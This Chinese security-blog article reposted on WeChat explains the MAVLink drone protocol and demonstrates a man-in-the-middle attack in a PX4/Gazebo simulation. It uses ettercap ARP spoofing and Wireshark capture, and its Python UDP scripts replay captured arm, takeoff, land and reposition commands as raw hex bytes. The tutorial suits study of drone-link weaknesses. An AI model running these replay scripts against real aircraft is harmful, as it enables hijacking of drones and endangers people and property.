查看原文
其他

无人机mavlink中间人攻击

听风安全 2023-11-28

The following article is from 天虞实验室 Author JC

免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------

无人机mavlink中间人攻击

目录

○ Mavlink协议介绍

○ 中间人攻击

    ◇ 启动仿真

    ◇ 中间人攻击

○ 声明

Mavlink协议介绍

NO.1

Mavlink是一种非常轻量级的消息传输协议,用于地面站与无人机(以及机载无人机组件之间)进行通信。


Mavlink遵循发布-订阅模式和点对点模式:数据流作为主题发送/发布,而配置子协议(如任务协议或参数协议)则是点对点的重传。


每个XML文件定义了特定Mavlink系统支持的消息集,大多数地面站和飞控系统实现的参考消息集在common.xml中定义。


许多无人机和自动驾驶系统都支持Mavlink协议,如Ardupilot和PX4。这两个开源系统是领先的自动驾驶仪,可以控制从无人机到无人潜水艇的任何无人驾驶车辆。


Mavlink协议分为V1.0和V2.0,首先看看V1.0的协议格式,消息帧结构如下图所示:



STX:起始标志位,在v1.0版本中用“FE”表示。用于消息帧接收端进行消息解码。


LEN:代表PAYLOAD的字节长度,取值0~255,用于消息帧接收端验证有效载荷长度是否正确。


SEQ:表示本次消息帧的序号,每发完一次消息,该字节内容会加1,加到255后会从0开始。用于Mavlink消息帧接收端计算消息丢失比,相当于信号强度。


SYS:代表发送本条消息帧的设备的系统编号,用于接收端识别消息来自哪个设备。


COMP:代表发送本条消息帧的设备的单元编号,用于接收端识别消息来自设备的哪个单元。


MSG:表示有效载荷中消息包的编号,与SEQ不同,接收端要根据该字节确定有效载荷里的消息包类型,然后选择对应的方式处理消息包。


PAYLOAD:有效载荷,即要传送的数据,范围0~255字节。


CKA,CKB:这两个字节是16位校验位,CKB是高8位,CKA是低8位,统称校验和。校验码由CRC16算法得到,算法将整个消息(从LEN到PAYLOAD结束,还要额外加上MAVLINK_CRC_EXTRA对应的1个字节)进行CRC16计算,得出一个16位的校验码。


每种PAYLOAD都会对应一个MAVLINK_CRC_EXTRA,这是由生成Mavlink代码的xml文件生成的。


加入校验是为了应对以下情况:当飞行器和地面站使用不同版本的Mavlink协议时,双方计算的校验码不同。


Mavlink1.0 升级到 Mavlink2.0,有如下几个变化:


(1)INC FLAGS(Incompatibility flags):此标志位会影响报文的结构,该标志指示数据包是否包含一些特殊功能。例如标志等于0x01表示该数据包已签名,并且在数据包的末尾附加了签名;


(2)CMP FLAGS(compatibility flags):不影响报文的结构,即使无法解释标志,也不会阻止解析器处理消息;


(3)Message ID (MSGID):相较于V1.0版本的8位变为24位,它允许在Mavlink 2.0中使用更多类型的消息,最多可以达到16777215种类型;


(4)可选用的SIGNATURE:最后,Mavlink 2.0使用可选的13字节签名字段来确保链接被篡改。此功能显着改善了Mavlink 1.0的安全性,因为它允许对消息进行身份验证并验证消息源自受信任的源。如果INCFLAGS设置为0x01,则会附加消息的签名;


(5)STX:1.0版本中为0XFE,2.0版本中为0XFD。对应的Mavlink 2.0的消息帧格式如下:



对应wireshark解析报文如下:



中间人攻击

NO.2

无人机和地面站是通过无线信道中承载的通信协议建立的,由于通信协议Mavlink不支持加密通信和认证授权机制程序,这使得其容易受到各种攻击。


地面站点通过一个未经认证的信道和没有加密的方式与无人机交换数据,攻击者拥有适当的发射器可以与无人机通信,并轻松地对无人机发起攻击。Mavlink的完整性可以通过修改正在发送的数据而遭受破坏。可以进行中间人攻击破坏Mavlink完整性。


在Mavlink通信协议中,信息是以明文形式发送的, M-I-TM攻击可以在信道中成功建立。


攻击者位于无人机和GCS之间,可以截获Mavlink有效载荷的内容并重新建链并发送命令,比如修改控制和遥测数据,并将这些错误的数据发回给GCS或无人机。


1、启动仿真

在px4-gazebo计算机中启动gazebo仿真平台


roslaunch px4 mavros_posix_sitl.launch


在px4-gazebo计算机中,另开一个终端输入以下指令将数据包从本地主机路由到外部接口,完成QGC计算机的地面站连接到px4-gazebo计算机的无人机


mavlink-routerd -e 192.168.137.141:14550 127.0.0.1:14550



2、中间人攻击

     2.1 ARP欺骗

使用ettercap对QGC计算机和px4-gazebo计算机的通信数据包进行ARP欺骗,通过wireshark工具查看通信数据包,进行流量分析。


查看QGC和px4-gazebo计算机的ip地址和MAC地址


px4-gazebo:

ip地址:192.168.137.139

MAC地址:00:0c:29:2a:5b:ac



QGC:

ip地址:192.168.137.141

MAC地址:00:0c:29:16:ec:f5




在attack计算机中打开ettercap,初始界面的这些选项比较好理解,不需要修改,直接点右上角√:




点左上角Scan for hosts,扫描网卡eth0的局域网内主机如下:




将.141主机A添加到Target1,将.139主机B添加到Target2,在Current Targets中查看Targets如下:




在右上角菜单MITM中找到ARP Poison,进行ARP欺骗。其中默认Sniff remote connections开启远程嗅探,让A和B的通信经过C。另外选项Only poison one-way表示只嗅探一边(例如:A的报文经过C发给B,B的回应直接发回A)。设置好后,点OK。




在attack中打开wireshark,选定eth0网卡:




经过ARP嗅探,能够捕获到报文从QGC->attack,attack->px4-gazebo和px4-gazebo->attack,attack->QGC。




attack计算机充当中间人,监听数据包:




    2.2 重放命令无人机起飞

由于通信的开放性,Mavlink协议很容易受到重放攻击。通过wireshark获取到的无人机飞行数据命令参数,复制这些数据,使用socket编程python脚本以非法控制并使用无人机,产生未经授权的效果,控制无人机。


在attack计算机中开启wireshark监听数据包,在QGC计算机中使用地面控制站起飞无人机:




在attack计算机中查看wireshark监听到的数据包,点击info按照指令排序之后,可以发现QGC地面控制站向px4无人机发送起飞指令,这里两个关键指令: 

MAV_CMD_COMPONENT_ARM_DISARM:解锁无人机

MAV_CMD_NAV_TAKEOFF:从地面起飞无人机




点开一个数据包,点击MAVLink Protocol项,可以获取到数据包中的关键参数:




1、MAV_CMD_COMPONENT_ARM_DISARM:解锁无人机

0xfe,0x21,0x9e,0xff,0xbe,0x4c,0x00,0x00,0x80,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x01,0x01,0x01,0x00,0xa2,0xb7


2、MAV_CMD_NAV_TAKEOFF:从地面起飞无人机

0xfe,0x21,0x9d,0xff,0xbe,0x4c,0x00,0x00,0x80,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x7f,0x00,0x00,0xc0,0x7f,0x00,0x00,0xc0,0x7f,0x6a,0x36,0x1f,0x41,0x16,0x00,0x01,0x01,0x00,0x1b,0x41


在attack计算机中编写python脚本takeoff.py用于控制无人机起飞,指定发送到px4-gazebo计算机的ip192.168.137.139:50137端口:

import socketimport structif __name__ == '__main__': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(('192.168.137.140',8080)) a1=[0xfe,0x21,0x9e,0xff,0xbe,0x4c,0x00,0x00,0x80,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x01,0x01,0x01,0x00,0xa2,0xb7] pack1=struct.pack("%dB" % (len(a1)),*a1) for i in range(1,100): s.sendto(pack1,('192.168.137.139',50137))
a2=[0xfe,0x21,0x9d,0xff,0xbe,0x4c,0x00,0x00,0x80,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x7f,0x00,0x00,0xc0,0x7f,0x00,0x00,0xc0,0x7f,0x6a,0x36,0x1f,0x41,0x16,0x00,0x01,0x01,0x00,0x1b,0x41] pack2=struct.pack("%dB" % (len(a1)),*a2) for i in range(1,100): s.sendto(pack2,('192.168.137.139',50137)) s.close()


在GQC计算机中降落无人机,使无人机处于待起飞状态:




在attack计算机中执行takeoff.py脚本,发现px4-gazebo计算机中的无人机起飞:




    2.3 无人机降落

通过wireshark获取到的无人机降落命令参数,复制这些数据,使用socket编程python脚本以非法控制并使用无人机,使无人机降落。


在QGC计算机的地面控制站中降落无人机




在attack计算机中查看指令,关键命令SET_MODE用于无人机降落:




获取数据包中的指令参数




0xfe,0x06,0xef,0xff,0xbe,0x0b,0x00,0x00,0x04,0x06,0x01,0x9d,0x76,0xf3


在attack计算机中编写land.py脚本控制无人机降落:

import socketimport structif __name__ == '__main__': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(('192.168.137.140',8080)) a1=[0xfe,0x06,0xef,0xff,0xbe,0x0b,0x00,0x00,0x04,0x06,0x01,0x9d,0x76,0xf3] pack1=struct.pack("%dB" % (len(a1)),*a1) for i in range(1,100): s.sendto(pack1,('192.168.137.139',50137)) s.close()


在attack计算机中执行脚本之后,无人机降落:




    2.4 控制无人机飞到指定位置

保持attack计算机中的wireshark处于监听状态。


在QGC计算机中发送指令使无人机飞向指定位置,首先无人机处于飞行状态,点击地图上的某个位置,点击前往该位置




通过attack计算机监听,发现指令COMMAND_INT:MAV_CMD_DO_REPOSITION将无人机飞到到指定位置




MAV_CMD_DO_REPOSITION指令的各参数中,可以修改纬度、精度、海拔高度,控制无人机位置




修改后的指令参数经过CRC校验之后得到校验码89 f1,修改完成的数据包

0xfe,0x23,0x7e,0xff,0xbe,0x4b,0x00,0x00,0x80,0xbf,0x00,0x00,0x80,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x7f,0xa4,0x52,0x40,0x1c,0x8d,0xf1,0x17,0x05,0x85,0x02,0x0f,0x40,0xc0,0x00,0x01,0x01,0x00,0x00,0x00,0x89,0xf1


在attack计算机中编写fly_position.py脚本,控制飞到指定位置

import socketimport structif __name__ == '__main__': s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(('192.168.137.140',8080)) a1=[0xfe,0x23,0x7e,0xff,0xbe,0x4b,0x00,0x00,0x80,0xbf,0x00,0x00,0x80,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x7f,0xa4,0x52,0x40,0x1c,0x8d,0xf1,0x17,0x05,0x85,0x02,0x0f,0x40,0xc0,0x00,0x01,0x01,0x00,0x00,0x00,0x89,0xf1] pack1=struct.pack("%dB" % (len(a1)),*a1) for i in range(1,100): s.sendto(pack1,('192.168.137.139',50137)) s.close()


在attack计算机中执行脚本:




无人机飞到自己指定的位置:



不可错过的往期推荐哦


APT是如何杜绝软件包被篡改的

瑞数WAF保护站点的渗透测试

利用sqlserver agent job实现权限维持

商城优惠券处的漏洞挖掘技巧

NPS反制之绕过登陆验证

区分Spring与Struts2框架的几种新方法

SRC挖掘葵花宝典

记一次“不讲武德”的短信验证码绕过

SRC漏洞挖掘之看不见的羊毛

点击下方名片,关注我们
觉得内容不错,就点下“”和“在看
如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存